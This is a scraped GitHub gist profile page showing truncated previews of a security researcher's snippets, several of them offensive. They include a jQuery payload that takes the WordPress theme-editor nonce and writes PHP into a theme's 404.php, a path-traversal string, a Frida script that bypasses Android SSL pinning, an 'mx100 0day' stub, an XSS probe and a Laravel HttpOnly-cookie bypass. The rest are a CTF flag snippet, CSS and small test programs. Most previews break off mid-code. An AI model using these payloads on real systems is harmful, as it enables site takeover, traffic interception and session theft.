Skip to content

Instantly share code, notes, and snippets.

View numanturle's full-sized avatar
🕳️

numan numanturle

🕳️
View GitHub Profile
jQuery.get("/wordpress/wp-admin/theme-editor.php?file=404.php",function(data){
var parsed = jQuery.parseHTML(data);
var noncem = jQuery("#nonce").val();
var themem = jQuery("#theme").val();
jQuery.post( "/wordpress/wp-admin/admin-ajax.php", { nonce: noncem, newcontent: "<?php phpinfo(); ?>",action: "edit-theme-plugin-file",theme: themem, file:"404.php" } );
jQuery.get("/wordpress/wp-content/themes/"+themem+"/404.php");
#include <windows.h>
#include <iostream>
using namespace std;
//https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-sleepex
//https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-sleep
//75BF3C9A | E8 11000000 | call <kernelbase.SleepEx> |
int main() {
for (int i = 0; i < 5; i++) {
cout << i << "\n";
cout << "Uyku Basliyor";
cat a | tr " " "\n" | uniq | sed '/^[[:space:]]*$/d'
/../../../../../../../../../../../.././/etc/telephonyProfiles.d/build_date
Java.perform(function() {
var array_list = Java.use("java.util.ArrayList");
var ApiClient = Java.use('com.android.org.conscrypt.TrustManagerImpl');
ApiClient.checkTrustedRecursive.implementation = function(a1, a2, a3, a4, a5, a6) {
// console.log('Bypassing SSL Pinning');
var k = array_list.$new();return k;
}
}, 0);
<?php
$flag = "SODERCTF[C0K_M7_K0L4Y_G3LcI_D3L1_Y1N3_1S_BaSINde_fanta_s3verim]";
function strigToBinary($string)
{
$characters = str_split($string);
$binary = [];
foreach ($characters as $character) {
$data = unpack('H*', $character);
$binary[] = base_convert($data[1], 16, 2);
@numanturle
numanturle / 0day.php
Last active September 28, 2021 07:32
mx100 0day
<?php
function anim($msg, $time)
{
$msg = str_split($msg);
foreach ($msg as $ms) {
echo $ms;
usleep($time);
}
}
anim("
alert(document.domain);
@numanturle
numanturle / gist:f8769dcb15d6be2349c410d62d3da9b7
Created August 4, 2020 10:10
orantısız renk kodları
<style>
body {
margin:0 auto;
padding:0 auto;
}
span {
float:left;
margin:0;
padding:0;
@numanturle
numanturle / gist:80faab01fb767841db81fe4c98587fdc
Last active January 16, 2021 17:09
laravel bypass http only cookie
$( document ).ready(function() {
$.ajax({
url:"/asd",
method:"POST",
async:true,
xhr: function() {
var xhr = jQuery.ajaxSettings.xhr();
var setRequestHeader = xhr.setRequestHeader;
xhr.setRequestHeader = function(name, value) {
if (name == 'X-Requested-With') return;